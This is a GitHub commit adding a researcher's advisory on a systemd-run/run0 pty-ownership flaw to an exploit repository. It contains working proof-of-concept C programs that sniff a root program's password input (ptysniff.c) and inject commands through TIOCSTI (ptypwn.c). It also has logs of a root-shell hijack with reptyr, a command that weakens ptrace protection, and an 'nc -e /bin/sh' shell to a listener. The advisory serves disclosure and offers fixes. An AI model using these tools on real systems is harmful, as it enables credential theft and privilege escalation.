Skip to content

Commit c34f2d0

Browse files
Systemd Insecure PTY Handling Vulnerability & Misc Linux issues
1 parent 4b02546 commit c34f2d0

File tree

2 files changed

+288
-0
lines changed

2 files changed

+288
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -124,6 +124,7 @@ Exploits and proof-of-concept code from the team at Hacker House.
124124
|*spiltmilk.c* | Linux kernel 2.6.37-rc1 & below serial_core TIOCGICOUNT information leak exploit |
125125
|*ssh-dsa1024-rsa2048-keys-CVE-2008-0166.tgz* | Debian SSH insecure 'prng' SSH keys (released during Manchester riots) |
126126
|*sun-su-bug.txt* | Solaris 10 'su' local NULL pointer vulnerability CVE-2010-3503 |
127+
|*systemd-run-tty.txt* | Systemd insecure pty allocation vulnerability |
127128
|*telnet_term_0day.py* | Multiple BSD-based telnet.c IAC malformed options remote crash |
128129
|*trendmicro_IWSVA_shellshock.py* | TrendMicro InterScan Web Security Virtul Appliance shellshock exploit |
129130
|*UNICOS-cray.txt* | Cray UNICOS 9.0 local root vulnerabilities & shellcode PoC |

systemd-run-tty.txt

Lines changed: 287 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,287 @@
1+
Systemd Insecure PTY Handling Vulnerability
2+
===========================================
3+
CVSSv3.BaseScore: 5.8
4+
CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N
5+
6+
Short Description
7+
=================
8+
Systemd-run/run0 allocates user-owned pty's and attaches the slave
9+
to high privilege programs without changing ownership or locking
10+
the pty slave.
11+
12+
Description
13+
===========
14+
Systemd-run/run0 is working towards a "sudo"-like replacement for
15+
v256 that is based on the existing policykit and d-bus based "systemd-run"
16+
transient service execution. The code in "src/run/run.c" on line 1673
17+
creates a PTY master and slave used for this process, and the slave
18+
name is passed to unlockpt() on line 1689. This allows any process to
19+
connect to "/dev/pts/0" interface as a slave, this interface is created
20+
under the local user context executing "systemd-run". The code subsequently
21+
uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authentication
22+
by policykit is approved, the slave end of the pty created will be
23+
attached to the privileged executed program. As the slave interface
24+
is not locked to the privilege level of the newly executed process,
25+
a vulnerability is introduced to the system as any same-user process
26+
can now interact with the slave end of the root program.
27+
28+
Exploitation
29+
============
30+
This issue can be exploited by opening a handle to the slave interface
31+
and using terminal I/O routines such as read() to access the input of
32+
the root program. Slave PTY's are not designed for multiple programs to
33+
access them and this has the unintended effect of redirecting input
34+
intended for the privileged program back to unprivileged processes, an
35+
example code "ptysniff.c" is provided here and terminal output that shows
36+
the issue being used to read input from a systemd-run executed "passwd"
37+
program, returning the password intended for the root program back to the
38+
local user.
39+
40+
User Terminal
41+
=============
42+
The user executes systemd with "--pty" to allocate a new "root" pty and
43+
execute "passwd" in the new terminal.
44+
45+
fantastic@fantastic-pc /dev/pts  systemd-run --pty passwd
46+
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
47+
Authentication is required to manage system services or other units.
48+
Authenticating as: fantastic
49+
Password:
50+
==== AUTHENTICATION COMPLETE ====
51+
Running as unit: run-u63.service
52+
Press ^] three times within 1s to disconnect TTY.
53+
New password:
54+
Retype new password:
55+
56+
Attacker Terminal
57+
=================
58+
The slave end of the systemd-run terminal is still owned by the local user
59+
context, "/dev/pts/5" in the example above - allowing ptysniff to read the
60+
password input intended to be sent to "passwd".
61+
62+
fantastic@fantastic-pc  /Work/voldermort  ls -al /dev/pts/5
63+
Permissions Size User Date Modified Name
64+
crw--w---- 136,5 fantastic 4 May 08:51  /dev/pts/5
65+
fantastic@fantastic-pc  /Work/voldermort  ./ptysniff /dev/pts/5
66+
Received: p
67+
Received: a
68+
Received: s
69+
Received: s
70+
Received: w
71+
Received: o
72+
Received: r
73+
Received: d
74+
Received:
75+
76+
/* ptysniff.c - read from a slave pts used by a higher privileged program */
77+
#include <fcntl.h>
78+
#include <stdio.h>
79+
#include <unistd.h>
80+
#include <sys/file.h>
81+
82+
#define BUF_SIZE 1024
83+
84+
int main(int argc, char *argv[]) {
85+
if (argc != 2) {
86+
fprintf(stderr, "Usage: %s <pts>\n", argv[0]);
87+
return 1;
88+
}
89+
int fd = open(argv[1], O_RDWR | O_NOCTTY);
90+
if (fd == -1) {
91+
perror("open");
92+
return 1;
93+
}
94+
char buf[BUF_SIZE];
95+
ssize_t numRead;
96+
while (1) {
97+
if (flock(fd, LOCK_EX) == -1) {
98+
perror("flock");
99+
return 1;
100+
}
101+
numRead = read(fd, buf, BUF_SIZE - 1);
102+
if (numRead == -1) {
103+
perror("read");
104+
return 1;
105+
}
106+
for (int i = 0; i < numRead; i++) {
107+
printf("Received: %c\n", buf[i]);
108+
}
109+
if (flock(fd, LOCK_UN) == -1) {
110+
perror("flock");
111+
return 1;
112+
}
113+
}
114+
return 0;
115+
}
116+
117+
Recommendation
118+
==============
119+
It is recommended the systemd-run created pty slave interface
120+
is chown()'d to the same user as the privileged execution context
121+
that it operates, this would result in "permission denied" when
122+
attempting to attach another program to the slave end of the pty.
123+
124+
Additional Information
125+
======================
126+
In addition to the vulnerability outlined above, it is possible to
127+
exploit the problem to execute commands or completely hijack the
128+
root owned program from the same-user context when other conditions
129+
are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a
130+
protection that limits the use of ptrace for debugging purposes.
131+
With ptrace_classic set to enabled, such as with the following
132+
command.
133+
134+
"echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope"
135+
136+
It is possible to simply read the master fd for the pty from the
137+
"systemd-run" application, and re-parent a process to use the
138+
master end - hijacking the root program which would not be accessible
139+
to ptrace. This can be done with GDB (set inferior tty) or a tool such
140+
as "reptyr".
141+
142+
User Terminal
143+
=============
144+
fantastic@fantastic-pc  /Work/systemd   main   systemd-run --shell
145+
Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1
146+
Press ^] three times within 1s to disconnect TTY.
147+
[root@fantastic-pc systemd]#
148+
149+
Attacker Terminal
150+
=================
151+
fantastic@fantastic-pc  /Work/systemd   main   ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty
152+
fantast+ 5541 5477 0 09:08 pts/6 00:00:00 systemd-run --shell
153+
uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)
154+
/dev/pts/1
155+
fantastic@fantastic-pc  /Work/systemd   main   reptyr -T 5541
156+
[root@fantastic-pc systemd]# id
157+
uid=0(root) gid=0(root) groups=0(root)
158+
[root@fantastic-pc systemd]# tty
159+
/dev/pts/0
160+
161+
Enabling ptrace_classic should not result in "root" permissions to unprivileged
162+
users, many operating systems support debugging applications and can do so without
163+
immediately giving away Administrative rights, YAMA is intended to provide this
164+
protection. However, sessions and terminals started under "SSHD" for instance are
165+
protected against these attacks through use of "prctl()" to prevent ptrace_attach
166+
from connecting to the process, preventing them being read even with ptrace_classic.
167+
This issue can also impact "su" and "sudo" and is a wider problem in Linux when
168+
ptrace_classic is enabled. Ensure that production systems do not support the use
169+
of ptrace_classic.
170+
171+
Another path of exploitation can also be undertaken by an attacker when ptrace_classic
172+
is disabled, however they must be able to re-parent their tty or have control of execution
173+
of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically
174+
required only the same user-context to access the tty, however to limit these attacks Linux
175+
now requires the process calling the ioctl() to be a descendant of the parent process using
176+
the pty or have the pty set as its controlling terminal. An example is shown here, an attacker
177+
uses "nc" to execute "ptypwn" and hijack a root program executed later through systemd-run
178+
by the parent. The source code for ptypwn.c is provided.
179+
180+
User Terminal
181+
=============
182+
fantastic@fantastic-pc    tty
183+
/dev/pts/3
184+
fantastic@fantastic-pc    nc -e /bin/sh localhost 1337 &
185+
[1] 6926
186+
  fantastic@fantastic-pc    systemd-run --shell
187+
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
188+
Authentication is required to manage system services or other units.
189+
Authenticating as: fantastic
190+
Password:
191+
==== AUTHENTICATION COMPLETE ====
192+
Running as unit: run-u100.service
193+
Press ^] three times within 1s to disconnect TTY.
194+
[root@fantastic-pc fantastic]# id
195+
uid=0(root) gid=0(root) groups=0(root)
196+
[root@fantastic-pc fantastic]# id
197+
uid=0(root) gid=0(root) groups=0(root)
198+
[root@fantastic-pc fantastic]# id
199+
uid=0(root) gid=0(root) groups=0(root)
200+
[root@fantastic-pc fantastic]#
201+
202+
Attacker Terminal
203+
=================
204+
fantastic@fantastic-pc  /Work/voldermort  nc -v -v -l -p 1337
205+
Listening on any address 1337 (menandmice-dns)
206+
Connection from 127.0.0.1:49282
207+
tty;id
208+
not a tty
209+
uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)
210+
./ptypwn /dev/pts/3
211+
./ptypwn /dev/pts/3
212+
./ptypwn /dev/pts/3
213+
214+
215+
/* ptypwn.c - use TIOCSTI ioctl to inject commands into user-owned pty */
216+
#include <fcntl.h>
217+
#include <stdio.h>
218+
#include <string.h>
219+
#include <sys/ioctl.h>
220+
221+
int main(int argc, char *argv[]) {
222+
if (argc != 2) {
223+
fprintf(stderr, "Usage: %s <pts>\n", argv[0]);
224+
return 1;
225+
}
226+
int fd = open(argv[1], O_RDWR);
227+
if (fd < 0) {
228+
perror("open");
229+
return -1;
230+
}
231+
char *x = "id\n";
232+
while (*x != 0) {
233+
int ret = ioctl(fd, TIOCSTI, x);
234+
if (ret == -1) {
235+
perror("ioctl()");
236+
}
237+
x++;
238+
}
239+
return 0;
240+
}
241+
242+
PolicyKit / sudoer Configuration Discrepancy
243+
============================================
244+
It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux
245+
environments where users are not permitted to execute commands through "sudo" but are permitted
246+
to execute commands through policykit services such as "systemd-run". This can lead to attackers
247+
who would be denied "sudo" requests being able to obtain "root" permissions through "systemd-run".
248+
An example of this configuration error can be seen below, as "systemd-run" proposes to become a
249+
"sudo" replacement, this issue has been included for completeness and for system administrators to
250+
review their sudo and policykit configurations to ensure such discrepancies do not exist.
251+
252+
fantastic@fantastic-pc    sudo su -
253+
fantastic is not in the sudoers file.
254+
  fantastic@fantastic-pc    systemd-run --shell
255+
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
256+
Authentication is required to manage system services or other units.
257+
Authenticating as: fantastic
258+
Password:
259+
==== AUTHENTICATION COMPLETE ====
260+
Running as unit: run-u107.service
261+
Press ^] three times within 1s to disconnect TTY.
262+
[root@fantastic-pc fantastic]# id
263+
uid=0(root) gid=0(root) groups=0(root)
264+
265+
TLDR; Conclusion
266+
================
267+
Systemd-run/run0 should chown() the created slave pty interface to the same user context
268+
using the pty, this will limit privilege escalation opportunities within the system and
269+
address the medium risk issue highlighted at the start of this advisory. The additional
270+
information in this advisory discusses wider Linux pty security handling issues, insecure
271+
configurations and thier exploitation naunces that can be leveraged for privilege escalation
272+
attacks. Whilst these tactics will serve Red Team's targetting Linux, it is noted that similar
273+
threats against Microsoft's recently introduced "sudo" that allowed any local user to obtain
274+
elevated rights through insecure pipe handlers were quickly addressed. It is also noted that
275+
despite the insecure system configurations, applications such as "SSHD" protect against some
276+
of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening
277+
on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown()
278+
is recommended, the Linux community should take note that the attacker threatscape has changed
279+
significantly with a renewed interest in targetting these systems by adversaries - consideration
280+
should be given to hardening PTY/TTY handling processes and protection against ptrace_classic
281+
regardless when privileged system operations take place. Attackers are less likely to use
282+
on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the
283+
requested permissions at a later date without touching disk from implants or other malicious
284+
code that has obtained execution in the contexts described above.
285+
286+
-- Hacker Fantastic 04/05/2024
287+
https://hacker.house

0 commit comments

Comments
 (0)